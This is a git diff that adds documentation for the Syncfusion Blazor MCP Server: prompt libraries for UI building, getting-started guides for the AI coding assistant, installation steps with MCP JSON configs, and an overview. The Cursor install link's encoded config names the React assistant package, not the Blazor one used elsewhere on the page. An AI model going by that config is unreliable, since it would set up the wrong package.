+* Select a prompt that aligns with your development requirements.
+* Copy the complete prompt, including the tool (e.g., #sf_blazor_ui_builder).
+* Customize the prompt for your specific use case.
+* Execute the prompt through the MCP Server.
+* Validate all generated code through thorough testing before production deployment.
+
+## General Project Prompts
+
+These flexible prompts address common application development scenarios using intuitive natural language descriptions.
+
+{% promptcards %}
+{% promptcard Authentication %}
+#sf_blazor_ui_builder Create a login page with the Tailwind 3 theme using a centered card layout containing email and password input fields with validation. Include a "Remember Me" checkbox, a forgot password link, and a primary login button. Add a secondary "Create Account" button below. Ensure the layout is responsive and works on mobile, tablet, and desktop.
+{% endpromptcard %}
+{% promptcard Book Library Dashboard %}
+#sf_blazor_ui_builder Create a book library dashboard page with the Bootstrap 5.3 theme displaying a grid of book cards showing cover images, titles, authors, and reading progress bars. Add a search box and genre filter dropdown at the top. Include a sidebar showing reading statistics with charts for books completed this month, reading streaks, and favorite genres. Make the grid responsive (4 columns on desktop, 2 on tablet, 1 on mobile).
+{% endpromptcard %}
+{% promptcard Product Listing %}
+#sf_blazor_ui_builder Create a product catalog page with the Fluent 2 theme featuring a left sidebar containing category filters and a price range slider. The main content area should display product cards in a responsive grid layout (4 columns on desktop, 2 on tablet, 1 on mobile). Add a search box and sort dropdown at the top of the main content area. Include pagination at the bottom.
+{% endpromptcard %}
+{% promptcard Course Details Page %}
+#sf_blazor_ui_builder Create a course details page with the Material 3 theme, including a video player section at the top. Below the video, display the course overview; curriculum using a TreeView component with expandable chapters and lessons; student reviews with rating distribution; and frequently asked questions in separate card sections. Add a right sidebar with a course enrollment card showing price, an enroll button, instructor details with avatar and biography, and a course progress indicator.
+{% endpromptcard %}
+{% promptcard Task Management %}
+#sf_blazor_ui_builder Build a task board page using a Kanban layout with columns for To Do, In Progress, and Completed. Add an "Add Task" button and a search field at the top. Each task card should show title, assignee avatar, due date, and priority badge. Make the columns scrollable, with drag-and-drop functionality. Include filter dropdowns for priority and assignee.
+{% endpromptcard %}
+{% promptcard Order Tracking %}
+#sf_blazor_ui_builder Create an order tracking page with the Tailwind 3 theme featuring a search bar at the top to look up orders by ID. Display order details in a card layout showing customer info, order items in a grid, and order status using a stepper component. Add a timeline on the right showing shipping updates and delivery progress.
+{% endpromptcard %}
+{% endpromptcards %}
+
+## Tool-Specific Prompts
+
+This section provides targeted prompt examples for directly invoking individual specialized tools, offering more precise control over specific aspects of your application.
+
+### Layout Tool
+
+The Layout tool orchestrates page structure, element positioning, and responsive behavior. Use #sf_blazor_layout when working with spatial arrangement and viewport adaptation.
+
+{% promptcards %}
+{% promptcard Book Library Statistics Panel %}
+#sf_blazor_layout Add a statistics panel below the search area with cards showing books completed, reading streak, and favorite genres. Use a 3-column layout (desktop), 2-column (tablet), and stacked (mobile).
+{% endpromptcard %}
+{% promptcard Product Quick View Modal %}
+#sf_blazor_layout Create a centered modal with a product image gallery (left 50%) and details (right 50%). Add a close button at the top-right. Stack vertically on mobile.
+{% endpromptcard %}
+{% promptcard Two-Column Form %}
+#sf_blazor_layout Design a form with a centered container (max-width 1200px). Two equal columns on desktop: user info (left), address (right). Full-width terms and submit button at the bottom. Stack on tablet/mobile.
+{% endpromptcard %}
+{% promptcard Admin Panel with Sidebar %}
+#sf_blazor_layout Create a layout with a left sidebar (280px, navigation), top header (logo, user profile), breadcrumb, and main content area. Collapse the sidebar to a hamburger menu on mobile.
+{% endpromptcard %}
+{% endpromptcards %}
+
+### Component Tool
+
+The Component tool implements specific Syncfusion Blazor components with configured properties and event handlers. Use #sf_blazor_component for targeted component integration.
+
+{% promptcards %}
+{% promptcard Advanced Data Grid Setup %}
+#sf_blazor_component Create a Grid with paging (20 per page), sorting, and filtering. Columns: product image, name (link), category, price (currency), stock status (badge), actions (edit/delete). Enable row selection and Excel export.
+{% endpromptcard %}
+{% promptcard Event Calendar Integration %}
+#sf_blazor_component Add a Scheduler with month/day/week/agenda views. Toolbar with date navigation, view switcher, and an "Add Event" button. Color-coded categories and drag-and-drop rescheduling.
+{% endpromptcard %}
+{% promptcard Multi-Step Form Wizard %}
+#sf_blazor_component Build a step-by-step registration form with validation per step. Steps: TextBox (personal info), DropDownList (preferences), FileUpload (documents), summary. Add progress indicators and navigation with validation.
+{% endpromptcard %}
+{% promptcard Real-Time Chart Dashboard %}
+#sf_blazor_component Create a Chart component with a line series for real-time data visualization. Configure multiple y-axes, a tooltip with custom formatting, a legend with toggling, and zoom/pan functionality. Update data every 5 seconds.
+{% endpromptcard %}
+{% endpromptcards %}
+
+### Styling Tool
+
+The Styling tool applies custom themes, color schemes, visual treatments, and iconography across your application. Use #sf_blazor_style for branding, aesthetic customization, and icon integration.
+
+{% promptcards %}
+{% promptcard Tailwind3 Dark Mode Setup %}
+#sf_blazor_style Apply the Syncfusion Tailwind 3 dark theme to the application. Configure CSS variables for the dark mode color scheme and enable theme toggle functionality.
+{% endpromptcard %}
+{% promptcard Bootstrap5.3 Theme Customization %}
+#sf_blazor_style Customize the Syncfusion Bootstrap 5.3 theme using CSS variables. Modify primary colors, component spacing, and typography to match brand guidelines.
+{% endpromptcard %}
+{% promptcard Fluent2 Responsive Styling %}
+#sf_blazor_style Apply the Syncfusion Fluent 2 theme with responsive adjustments. Customize component sizes, spacing, and layout breakpoints for mobile, tablet, and desktop views.
+{% endpromptcard %}
+{% promptcard Material3 CSS Variables %}
+#sf_blazor_style Configure the Syncfusion Material 3 theme CSS variables for a custom color palette, elevation shadows, border radius, and component-specific styling properties.
+{% endpromptcard %}
+{% promptcard User Actions & Navigation %}
+#sf_blazor_style Add appropriate icons for common user interactions in the application toolbar, including editing capabilities, navigation controls, and accessing various options.
+{% endpromptcard %}
+{% promptcard Content Editor Toolbar %}
+#sf_blazor_style Implement icons for text formatting operations, table manipulation, and image editing tools in the Rich Text Editor.
+{% endpromptcard %}
+{% promptcard Analytics Dashboard %}
+#sf_blazor_style Update icons for data visualization elements, chart representations, and trend indicators in the analytics dashboard.
+{% endpromptcard %}
+{% promptcard Document Management %}
+#sf_blazor_icon Find icons for file operations, document processing, printing capabilities, and export functionality in the File Manager toolbar.
+{% endpromptcard %}
+{% endpromptcards %}
+
+## See also
+
+* [Agentic UI Builder - Getting Started](./getting-started)
+* [AI Coding Assistant - Getting Started](../ai-coding-assistant/getting-started)
diff --git a/blazor/mcp-server/ai-coding-assistant/getting-started.md b/blazor/mcp-server/ai-coding-assistant/getting-started.md
new file mode 100644
index 0000000000..00a22cb3e6
--- /dev/null
+++ b/blazor/mcp-server/ai-coding-assistant/getting-started.md
@@ -0,0 +1,53 @@
+---
+layout: post
+title: Getting Started with the AI Coding Assistant for Blazor | Syncfusion
+description: Learn how to configure and use AI Coding Assistant for intelligent code generation, documentation, and troubleshooting in Blazor apps.
+control: Getting Started with the AI Coding Assistant
+platform: blazor
+documentation: ug
+domainurl: ##DomainURL##
+---
+
+# Getting Started with the AI Coding Assistant
+
+The **Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistant** is designed to streamline the development workflow for Blazor applications that use Syncfusion<sup style="font-size:70%">&reg;</sup> components. It leverages contextual knowledge of the Syncfusion component library to generate code snippets, configuration examples, and guided explanations—reducing documentation lookups and increasing productivity.
+
+## Installation
+
+Follow the [Installation Guide](../installation) to set up the MCP Server in your development environment.
+
+## Usage
+
+Activate the AI Coding Assistant in your IDE by using the `#sf_blazor_assistant` command followed by your query:
+
+```
+#sf_blazor_assistant How do I enable paging and sorting in the Syncfusion Blazor Grid?
+
+```
+
+### Common Use Cases
+
+| Use Case | Description | Example Query |
+|----------|-------------|---------------|
+| **Component Generation** | Generate complete component implementations with configurations | `#sf_blazor_assistant Create a data grid with inline editing, paging, and toolbar options for CRUD operations` |
+| **Feature Implementation** | Get specific feature implementations for existing components | `#sf_blazor_assistant Add export to Excel functionality in my existing Grid component` |
+| **Troubleshooting** | Resolve issues by describing the problem | `#sf_blazor_assistant Scheduler is not displaying events properly. What could be wrong with the data binding?` |
+| **API Reference** | Quickly access API information | `#sf_blazor_assistant What are the available event arguments for the Grid's actionComplete event?` |
+
+### Best Practices
+
+1. **Be Specific**: Include platform and component (e.g., "Create a Syncfusion Blazor Grid with paging and filtering").  
+2. **Provide Context**: Share versions, desired behavior, and constraints.  
+3. **Use Descriptive Queries**: Avoid vague questions.
+4. **Troubleshooting**: Use AI suggestions for common issues; consult official [documentation](https://blazor.syncfusion.com/documentation) or [support](https://support.syncfusion.com/support/tickets/create) for complex problems.
+5. **Start Fresh**: Begin a new chat for new topics to maintain clean context.
+
+> Always review AI-generated code before using it in production.
+
+## What's Next
+
+Now that you've set up the AI Coding Assistant, explore these resources:
+
+* **[Prompt Library](./prompt-library)** - Ready-to-use prompts for common scenarios
+* **[Component Examples](https://blazor.syncfusion.com/demos/)** - Interactive demos of all Syncfusion Blazor components
+* **[API Documentation](https://help.syncfusion.com/cr/blazor)** - Complete API reference
diff --git a/blazor/mcp-server/ai-coding-assistant/prompt-library.md b/blazor/mcp-server/ai-coding-assistant/prompt-library.md
new file mode 100644
index 0000000000..0ffb0280e4
--- /dev/null
+++ b/blazor/mcp-server/ai-coding-assistant/prompt-library.md
@@ -0,0 +1,270 @@
+---
+layout: post
+title: Syncfusion AI Coding Assistant Prompt Library | Syncfusion
+description: Explore the AI Coding Assistant Prompt Library to enhance Blazor development productivity with code generation, configuration examples, and contextual guidance.
+control: Syncfusion AI Coding Assistant Prompt Library
+platform: Blazor
+documentation: ug
+domainurl: ##DomainURL##
+---
+
+# Prompt Library - AI Coding Assistant
+
+Speed up your Blazor projects using these ready-made prompts for popular Syncfusion components. Each prompt is short, easy to understand, and focused on real tasks—like quick setups, tweaks, and fixes.
+
+## How to use
+
+Before starting, make sure your MCP Server is set up and running.
+
+* Choose a prompt that fits your need.
+* Copy the full prompt with the #sf_blazor_assistant tool.
+* Customize the prompt for your specific use case.
+* Execute via the MCP Server.
+* Always check and test the code before adding it to your project.
+
+## Component-specific Prompts
+
+### Grid
+
+The Syncfusion Blazor Data Grid delivers fast, flexible tables for large datasets with built-in interactivity.
+
+{% promptcards %}
+{% promptcard Paging and Sorting %}
+#sf_blazor_assistant How do I enable paging and sorting in the Syncfusion Blazor Grid?
+{% endpromptcard %}
+{% promptcard Grouping and Filtering %}
+#sf_blazor_assistant Show me an example of grouping and filtering data in the Grid component.
+{% endpromptcard %}
+{% promptcard CRUD Operations %}
+#sf_blazor_assistant What’s the code to implement full CRUD operations in Syncfusion Blazor Grid?
+{% endpromptcard %}
+{% promptcard Grid Export to PDF and Excel %}
+#sf_blazor_assistant How can I add PDF and Excel export options to the Grid toolbar?
+{% endpromptcard %}
+{% promptcard Virtual Scrolling %}
+#sf_blazor_assistant How do I configure virtual scrolling for large datasets in the Grid?
+{% endpromptcard %}
+{% promptcard Multicolumn Grid Setup %}
+#sf_blazor_assistant Create a multicolumn Grid to display product details with sorting and filtering.
+{% endpromptcard %}
+{% promptcard Chat Integration %}
+#sf_blazor_assistant How can I integrate a chat widget inside each row of the Syncfusion Grid?
+{% endpromptcard %}
+{% promptcard Advanced Grid Features %}
+#sf_blazor_assistant Show me a Grid with paging, sorting, grouping, filtering, and virtual scrolling
+{% endpromptcard %}
+{% promptcard Troubleshooting Grid Export %}
+#sf_blazor_assistant Why isn’t my Grid exporting to PDF and Excel correctly?
+{% endpromptcard %}
+{% promptcard Inline Editing %}
+#sf_blazor_assistant How do I enable inline editing for CRUD operations in the Grid?
+{% endpromptcard %}
+{% promptcard Custom Toolbar %}
+#sf_blazor_assistant Add custom toolbar buttons for PDF and Excel export in the Grid.
+{% endpromptcard %}
+{% promptcard Dynamic Column Configuration %}
+#sf_blazor_assistant How can I dynamically configure multicolumn layout with filtering and sorting?
+{% endpromptcard %}
+{% endpromptcards %}
+
+### Chart
+
+The Syncfusion Blazor Chart suite offers versatile visualization tools across various series types for insightful data representation.
+
+{% promptcards %}
+{% promptcard Local and Remote Data %}
+#sf_blazor_assistant How do I bind both local and remote data sources to a Syncfusion Chart?
+{% endpromptcard %}
+{% promptcard Range Selection %}
+#sf_blazor_assistant Show me how to enable range selection in a Syncfusion Blazor Chart.
+{% endpromptcard %}
+{% promptcard Chart Types Overview %}
+#sf_blazor_assistant What chart types are available in Syncfusion Blazor Chart and how to configure them?
+{% endpromptcard %}
+{% promptcard Markers and Data Labels %}
+#sf_blazor_assistant How can I display markers and data labels on a line chart?
+{% endpromptcard %}
+{% promptcard Annotations %}
+#sf_blazor_assistant Add custom annotations to highlight specific data points in a chart.
+{% endpromptcard %}
+{% promptcard Chart Export to Image or PDF %}
+#sf_blazor_assistant How do I export a Syncfusion Chart to PDF or image format?
+{% endpromptcard %}
+{% promptcard Print Support %}
+#sf_blazor_assistant Enable print functionality for a Syncfusion Blazor Chart component.
+{% endpromptcard %}
+{% promptcard Dynamic Chart with Remote Data %}
+#sf_blazor_assistant Create a chart that updates dynamically with remote API data.
+{% endpromptcard %}
+{% promptcard Multiple Series Types %}
+#sf_blazor_assistant How do I combine bar and line chart types in a single Syncfusion Chart?
+{% endpromptcard %}
+{% promptcard Troubleshooting Chart Data Binding %}
+#sf_blazor_assistant Why isn’t my remote data showing up in the Syncfusion Chart?
+{% endpromptcard %}
+{% promptcard Interactive Range Selector %}
+#sf_blazor_assistant Configure a range selector for zooming and filtering in a time-series chart.
+{% endpromptcard %}
+{% promptcard Custom Markers and Labels %}
+#sf_blazor_assistant Show me an example of customizing chart markers and data label styles.
+{% endpromptcard %}
+{% endpromptcards %}
+
+### Schedule
+
+The Syncfusion Blazor Schedule component helps manage events, resources, and timelines with powerful views and customization.
+
+{% promptcards %}
+{% promptcard Remote Data Binding %}
+#sf_blazor_assistant Bind the Schedule component to a remote API for dynamic event loading.
+{% endpromptcard %}
+{% promptcard CRUD Actions %}
+#sf_blazor_assistant Show me how to implement full CRUD operations in the Schedule component.
+{% endpromptcard %}
+{% promptcard Virtual Scrolling %}
+#sf_blazor_assistant Enable virtual scrolling for large event datasets in the Schedule view.
+{% endpromptcard %}
+{% promptcard Timezone Support %}
+#sf_blazor_assistant How can I configure timezone support in the Syncfusion Blazor Schedule?
+{% endpromptcard %}
+{% promptcard Export Schedule to PDF or Excel %}
+#sf_blazor_assistant Add export functionality to download the Schedule view as PDF or Excel.
+{% endpromptcard %}
+{% promptcard Timeline Header Rows %}
+#sf_blazor_assistant How do I customize timeline header rows in the Schedule component?
+{% endpromptcard %}
+{% promptcard Troubleshooting Schedule CRUD %}
+#sf_blazor_assistant Why aren’t my CRUD actions working correctly in the Schedule component?
+{% endpromptcard %}
+{% promptcard Local and Remote Data %}
+#sf_blazor_assistant Bind both local and remote event data to the Schedule component.
+{% endpromptcard %}
+{% promptcard Export and Timezone %}
+#sf_blazor_assistant Configure timezone-aware exporting for the Schedule view.
+{% endpromptcard %}
+{% endpromptcards %}
+
+### Kanban
+
+The Syncfusion Blazor Kanban organizes tasks in columns with drag-and-drop, swimlanes, and templating for agile workflows.
+
+{% promptcards %}
+{% promptcard Data Binding %}
+#sf_blazor_assistant How do I bind local or remote data to the Syncfusion Blazor Kanban board?
+{% endpromptcard %}
+{% promptcard Sorting %}
+#sf_blazor_assistant Enable sorting of cards within columns in the Kanban component.
+{% endpromptcard %}
+{% promptcard Swimlane View %}
+#sf_blazor_assistant Show me how to group Kanban cards using swimlane headers.
+{% endpromptcard %}
+{% promptcard Kanban Card Editing %}
+#sf_blazor_assistant How can I enable inline editing of Kanban cards?
+{% endpromptcard %}
+{% promptcard Virtualization %}
+#sf_blazor_assistant Configure virtualization for performance with large Kanban datasets.
+{% endpromptcard %}
+{% promptcard Localization %}
+#sf_blazor_assistant How do I localize labels and messages in the Kanban component?
+{% endpromptcard %}
+{% promptcard Drag and Drop %}
+#sf_blazor_assistant Enable drag-and-drop functionality for moving cards between columns.
+{% endpromptcard %}
+{% promptcard Sorting and Swimlane %}
+#sf_blazor_assistant Create a Kanban board with swimlane grouping and sortable cards.
+{% endpromptcard %}
+{% promptcard Editable Cards and Localization %}
+#sf_blazor_assistant Show me how to edit cards and apply localization in Kanban.
+{% endpromptcard %}
+{% promptcard Troubleshooting Kanban Drag and Drop %}
+#sf_blazor_assistant Why isn’t drag-and-drop working correctly in my Kanban board?
+{% endpromptcard %}
+{% promptcard Remote Data and Virtualization %}
+#sf_blazor_assistant Bind remote data to Kanban and enable virtualization for performance.
+{% endpromptcard %}
+{% promptcard Advanced Kanban Setup %}
+#sf_blazor_assistant Create a Kanban board with data binding, swimlane, card editing, and drag-and-drop.
+{% endpromptcard %}
+{% endpromptcards %}
+
+### RichTextEditor
+
+The Syncfusion Blazor RichTextEditor offers a modern WYSIWYG editor with extensive formatting, media, and integration features.
+
+{% promptcards %}
+{% promptcard Toolbar Configuration %}
+#sf_blazor_assistant How do I customize the toolbar options in the Syncfusion RichTextEditor?
+{% endpromptcard %}
+{% promptcard Link Manipulation %}
+#sf_blazor_assistant Show me how to add, edit, and remove hyperlinks in RichTextEditor content.
+{% endpromptcard %}
+{% promptcard Iframe Mode %}
+#sf_blazor_assistant How can I render the RichTextEditor inside an iframe for isolated styling?
+{% endpromptcard %}
+{% promptcard Undo and Redo %}
+#sf_blazor_assistant Enable undo and redo functionality in the RichTextEditor toolbar.
+{% endpromptcard %}
+{% promptcard Forms Integration %}
+#sf_blazor_assistant How do I integrate a Blazor form and validate input?
+{% endpromptcard %}
+{% promptcard Content Import and Export %}
+#sf_blazor_assistant Export RichTextEditor content to HTML or import existing HTML content.
+{% endpromptcard %}
+{% promptcard Advanced Toolbar %}
+#sf_blazor_assistant Create a RichTextEditor with toolbar options for formatting, links, and undo/redo.
+{% endpromptcard %}
+{% promptcard Iframe and Forms Support %}
+#sf_blazor_assistant Use RichTextEditor in iframe mode and bind it to a form for submission.
+{% endpromptcard %}
+{% promptcard Undo/Redo and Export %}
+#sf_blazor_assistant Enable undo/redo and export content to HTML in RichTextEditor.
+{% endpromptcard %}
+{% endpromptcards %}
+
+### Calendar
+
+The Syncfusion Blazor Calendar supports flexible date selection, localization, and custom rendering.
+
+{% promptcards %}
+{% promptcard Date Range Selection %}
+#sf_blazor_assistant How do I enable date range selection in the Syncfusion Blazor Calendar?
+{% endpromptcard %}
+{% promptcard Globalization Support %}
+#sf_blazor_assistant Configure the Calendar to support multiple cultures and languages.
+{% endpromptcard %}
+{% promptcard Multi-Date Selection %}
+#sf_blazor_assistant Show me how to allow users to select multiple dates in the Calendar.
+{% endpromptcard %}
+{% promptcard Islamic Calendar Support %}
+#sf_blazor_assistant How can I switch the Calendar to use the Islamic calendar system?
+{% endpromptcard %}
+{% promptcard Skip Months Feature %}
+#sf_blazor_assistant Enable skipping months in the Calendar navigation for faster browsing.
+{% endpromptcard %}
+{% promptcard Calendar Showing Other Month Days %}
+#sf_blazor_assistant How do I show days from adjacent months in the current Calendar view?
+{% endpromptcard %}
+{% promptcard Custom Day Cell Format %}
+#sf_blazor_assistant Customize the day cell format in the Calendar to show short weekday names.
+{% endpromptcard %}
+{% promptcard Calendar Highlighting Weekends %}
+#sf_blazor_assistant Highlight weekends in the Calendar with a different background color.
+{% endpromptcard %}
+{% promptcard Globalization and Islamic Calendar %}
+#sf_blazor_assistant Configure the Calendar for Arabic culture using Islamic calendar and localization.
+{% endpromptcard %}
+{% promptcard Multi-Selection and Range %}
+#sf_blazor_assistant Enable both multi-date selection and range selection in the Calendar.
+{% endpromptcard %}
+{% promptcard Troubleshooting Calendar Date Range %}
+#sf_blazor_assistant Why isn’t my Calendar selecting the correct date range?
+{% endpromptcard %}
+{% promptcard Advanced Calendar Setup %}
+#sf_blazor_assistant Create a Calendar with date range, multi-selection, globalization, and weekend highlights.
+{% endpromptcard %}
+{% endpromptcards %}
+
+## See also
+
+* [AI Coding Assistant - Getting Started](./getting-started)
+* [Agentic UI Builder - Getting Started](../agentic-ui-builder/getting-started)
diff --git a/blazor/mcp-server/installation.md b/blazor/mcp-server/installation.md
new file mode 100644
index 0000000000..a3cfc865ce
--- /dev/null
+++ b/blazor/mcp-server/installation.md
@@ -0,0 +1,207 @@
+---
+layout: post
+title: Installation Guide | Syncfusion Blazor MCP Server
+description: Step-by-step guide to install and set up the Syncfusion Blazor MCP server in VS Code, Cursor, and Code Studio for AI-powered Blazor development.
+control: Installation
+platform: blazor
+documentation: ug
+domainurl: ##DomainURL##
+---
+
+# Installing Syncfusion MCP Server
+
+Syncfusion MCP Server provide AI-powered assistance for building Blazor applications with Syncfusion components. This guide will help you install and configure the MCP server in your development environment.
+
+## Available Modes
+
+The Syncfusion MCP Server offer two modes:
+
+* **Agentic UI Builder** – Complete toolkit for building user interfaces with Layout, Component, and Styling tools. Coordinates multi-step workflows automatically.
+* **AI Coding Assistant** – Provides contextual component documentation, code snippets, and configuration examples to accelerate development and reduce documentation lookups.
+
+## Prerequisites
+
+Before you begin, ensure you have:
+
+* Required [Node.js](https://nodejs.org/en/) version >= 18
+* A **compatible MCP client** (VS Code, Syncfusion<sup style="font-size:70%">&reg;</sup> Code Studio, Cursor, etc.)
+* Active [Syncfusion<sup style="font-size:70%">&reg;</sup> API key](https://syncfusion.com/account/api-key)
+* Blazor application (existing or new); see [Quick Start](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
+* Active Syncfusion<sup style="font-size:70%">&reg;</sup> license (any of the following):  
+  - [Commercial License](https://www.syncfusion.com/sales/unlimitedlicense)  
+  - [Free Community License](https://www.syncfusion.com/products/communitylicense)  
+  - [Free Trial](https://www.syncfusion.com/account/manage-trials/start-trials)
+
+### Getting your API Key
+
+Obtain your Syncfusion API key before proceeding:
+
+1. Log in to your [Syncfusion account](https://www.syncfusion.com/account/)
+2. Navigate to the [API Key page](https://www.syncfusion.com/account/api-key)
+3. Generate your API key
+4. Keep this key ready for configuration
+
+**Configuration Options:**
+
+* **Option 1: Using an API Key File (Recommended)**
+
+  Store your API key in a separate file and reference its path in the `Syncfusion_API_Key_Path` environment parameter. This approach enhances security by keeping the key separate from configuration files.
+
+  **Supported formats:** `.txt` or `.key`
+
+```json
+"env": {
+  "Syncfusion_API_Key_Path": "YOUR_API_KEY_FILE_PATH" // "D:\\syncfusion-key.txt" or "D:\\syncfusion-key.key"
+}
+```
+
+* **Option 2: Using a Direct API Key**
+
+  Set the key directly in the MCP configuration:
+
+```json
+"env": {
+  "Syncfusion_API_Key": "YOUR_API_KEY"
+}
+```
+
+> If both the key file and the environment variable are provided, the file path specified in `Syncfusion_API_Key_Path` takes priority.
+
+## Generic MCP Server Settings
+
+All MCP clients require these standard settings for the Syncfusion MCP Server:
+
+* **npm package name**: `@syncfusion/blazor-assistant`  
+* **Type**: `stdio` (standard input/output transport)  
+* **Command**: `npx`  
+* **Arguments**: `-y`  
+* **Server name**: `sf-blazor-mcp`
+
+## Setting up in MCP Clients
+
+Syncfusion MCP Server can be configured at two levels:
+
+* **Global-level**—Server is available across all projects in your IDE
+* **Workspace-level**—Server is available only for a specific project or workspace
+
+The following sections provide detailed setup instructions for popular development environments.
+
+### Global Configuration
+
+Configure the Syncfusion MCP Server globally to make it available across all workspaces in your IDE.
+
+{% tabs %}
+{% highlight bash tabtitle="VS Code" %}
+
+1. Click <a target="_blank" href="https://insiders.vscode.dev/redirect/mcp/install?name=sf-blazor-mcp&config=%7B%22type%22%3A%22stdio%22%2C%22command%22%3A%22npx%22%2C%22args%22%3A%5B%22-y%22%2C%22%40syncfusion%2Fblazor-assistant%40latest%22%5D%2C%22env%22%3A%7B%22Syncfusion_API_Key%22%3A%22YOUR_API_KEY%22%7D%7D">here</a> to open the installation link.
+2. Replace `YOUR_API_KEY` with your actual Syncfusion API key.
+3. Follow the prompts to complete the installation.
+
+For more information, see the [VS Code MCP documentation](https://code.visualstudio.com/docs/copilot/customization/mcp-servers).
+
+{% endhighlight %}
+{% highlight bash tabtitle="Cursor" %}
+
+1. Click <a target="_blank" href="https://cursor.com/en/install-mcp?name=sf-blazor-mcp&config=eyJ0eXBlIjoic3RkaW8iLCJjb21tYW5kIjoibnB4IiwiYXJncyI6WyIteSIsIkBzeW5jZnVzaW9uL3JlYWN0LWFzc2lzdGFudEBsYXRlc3QiXSwiZW52Ijp7IlN5bmNmdXNpb25fQVBJX0tleV9QYXRoIjoiWU9VUl9BUElfS0VZX0ZJTEVfUEFUSCJ9fQ==">here</a> to open the installation link.
+2. Update the `YOUR_API_KEY_FILE_PATH` with the path to your API key file.
+3. Follow the prompts to complete the installation.
+
+For more information, see the [Cursor MCP documentation](https://cursor.com/docs/context/mcp).
+
+{% endhighlight %}
+{% highlight bash tabtitle="Code Studio" %}
+
+1. Open the [MCP Marketplace](https://www.syncfusion.com/code-studio/) in Code Studio.
+2. Search for `Syncfusion Blazor Assistant` and click **Install**.
+3. Enter your [Syncfusion API key](https://syncfusion.com/account/api-key) when prompted.
+4. The server installs and appears in the Installed list.
+
+For more information, see the [Code Studio MCP documentation](https://help.syncfusion.com/code-studio/reference/configure-properties/mcp/marketplace).
+
+{% endhighlight %}
+{% endtabs %}
+
+### Workspace Configuration
+
+Install the server for a specific project, create a configuration file in your project folder.
+
+**Important:** Replace `YOUR_API_KEY_FILE_PATH` or `YOUR_API_KEY` with your actual API key.
+
+{% tabs %}
+{% highlight bash tabtitle="VS Code" %}
+
+Create a `.vscode/mcp.json` file in your workspace with the MCP server configuration:
+
+{
+  "servers": {
+    "sf-blazor-mcp": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@syncfusion/blazor-assistant@latest"],
+      "env": {
+        "Syncfusion_API_Key_Path": "YOUR_API_KEY_FILE_PATH"
+        // or
+        // "Syncfusion_API_Key": "YOUR_API_KEY"
+      }
+    }
+  }
+}
+
+{% endhighlight %}
+{% highlight bash tabtitle="Cursor" %}
+
+Create a `.cursor/mcp.json` file in your workspace with the MCP server configuration:
+
+{
+  "mcpServers": {
+    "sf-blazor-mcp": {
+      "command": "npx",
+      "args": ["-y", "@syncfusion/blazor-assistant@latest"],
+      "env": {
+        "Syncfusion_API_Key_Path": "YOUR_API_KEY_FILE_PATH"
+        // or
+        // "Syncfusion_API_Key": "YOUR_API_KEY"
+      }
+    }
+  }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+**Verify Installation:** Check your editor's MCP Server list for `sf-blazor-mcp` appears with a "Connected" status to confirm successful installation.
+
+## What's Next
+
+With the MCP server installed, explore the getting started guide for your chosen configuration:
+
+* [Agentic UI Builder - Getting Started](./agentic-ui-builder/getting-started)
+* [AI Coding Assistant - Getting Started](./ai-coding-assistant/getting-started)
+
+## Troubleshooting
+
+If you encounter issues during installation or while using the MCP server, refer to the solutions below:
+
+| Issue | Solution |
+|-------|----------|
+| **Clear npm cache** | Run `npx clear-npx-cache` and restart your IDE to resolve package caching issues |
+| **Server failed to start** | Update to Node.js 18+, verify JSON syntax in config file, and restart your IDE |
+| **Invalid API key** | Verify your key is active at [Syncfusion Account Page](https://syncfusion.com/account/api-key) |
+| **Incorrect API key config** | For the file path: Verify file location and content. For inline key: Check key is properly updated |
+| **Wrong config file location** | VS Code: `.vscode/mcp.json` • CodeStudio: `.codestudio/mcp.json` • Cursor: `.cursor/mcp.json` in the workspace root |
+| **Check IDE logs** | VS Code/CodeStudio: Output panel → "MCP" • Cursor: Developer Console for MCP errors |
+
+## Support
+
+Product support is available through the following media.
+
+* [Support ticket](https://support.syncfusion.com/support/tickets/create) - Guaranteed response in 24 hours \| Unlimited tickets \| Holiday support
+* [Community forum](https://www.syncfusion.com/forums/essential-js2)
+* [Request feature or report bug](https://www.syncfusion.com/feedback/javascript)
+* [Live chat](https://www.syncfusion.com/support)
+
+## See also
+
+* [MCP Server Overview](./overview)
+* [Agentic UI Builder - Getting Started](./agentic-ui-builder/getting-started)
+* [AI Coding Assistant - Getting Started](./ai-coding-assistant/getting-started)
diff --git a/blazor/mcp-server/overview.md b/blazor/mcp-server/overview.md
new file mode 100644
index 0000000000..e8922d4d75
--- /dev/null
+++ b/blazor/mcp-server/overview.md
@@ -0,0 +1,87 @@
+---
+layout: post
+title: AI and Smart Tooling for Blazor Development | Syncfusion
+description: Accelerate Blazor development with Syncfusion MCP Server - instant access to component APIs, UI blocks, themes, and 600+ icons via MCP in your IDE.
+control: Syncfusion Blazor MCP Server Overview
+platform: blazor
+documentation: ug
+domainurl: ##DomainURL##
+---
+
+# Syncfusion MCP Server Overview
+
+Syncfusion's MCP Server accelerate Blazor application development by providing deep context-aware knowledge directly in your AI-powered IDE. Through Model Context Protocol (MCP) integration, you get instant access to component APIs, pre-built UI blocks, styling configurations, icon libraries, and code generation - all without leaving your development environment.
+
+Use these tools to speed up development and follow best practices when building dashboards, interfaces, or integrating components.
+
+## Key Benefits
+
+* **Expert Component Knowledge** - Deep understanding of 145+ Blazor components and their implementation patterns.
+* **Design System Integration** - Guidance for Tailwind3 CSS, Bootstrap 5.3, Material 3, and Fluent 2 design systems with utility-based styling.
+* **Pre-Built Layouts** - Ready-to-use UI blocks for rapid application development.
+* **Comprehensive Icon Library** - 600+ icons with component integration and accessibility guidance.
+* **Unlimited Usage** - No request limits, time restrictions, or query caps.
+* **Privacy-Focused** - Your data remains secure. The tools do not access files, store data, or use your prompts for training purposes.
+
+## How it works
+
+Syncfusion MCP Server are delivered as an npm-based Model Context Protocol (MCP) server that integrates seamlessly with AI-powered development environments. The server provides two specialized modes tailored to different development workflows:
+
+**Agentic UI Builder** (`#sf_blazor_ui_builder`)  
+Build complete UIs with coordinated tools for layout, components, styling, and icons. Perfect for creating pages, dashboards, and complex sections from scratch.
+
+**AI Coding Assistant** (`#sf_blazor_assistant`)  
+Implement individual components with focused API guidance. Ideal for adding components to existing projects and troubleshooting integration issues.
+
+## Getting Started
+
+1. **Install** the MCP server package in your AI-powered IDE.
